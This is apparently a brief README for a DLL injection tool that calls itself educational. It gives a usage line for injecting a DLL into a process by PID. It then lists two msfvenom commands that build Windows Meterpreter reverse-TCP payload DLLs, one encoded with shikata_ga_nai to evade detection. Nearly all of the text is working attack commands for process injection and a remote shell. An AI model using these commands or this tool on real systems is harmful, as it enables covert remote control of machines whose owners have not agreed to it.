simple DLL Injection; made for educational purposes
Usage: injection.exe <PID> <DLLPath>
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443 -a x86 --platform windows -b '\x00' -e x86/shikata_ga_nai -f dll -o dll_sgnx86.dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443 -a x86 --platform windows -f dll -o dll_x86.dll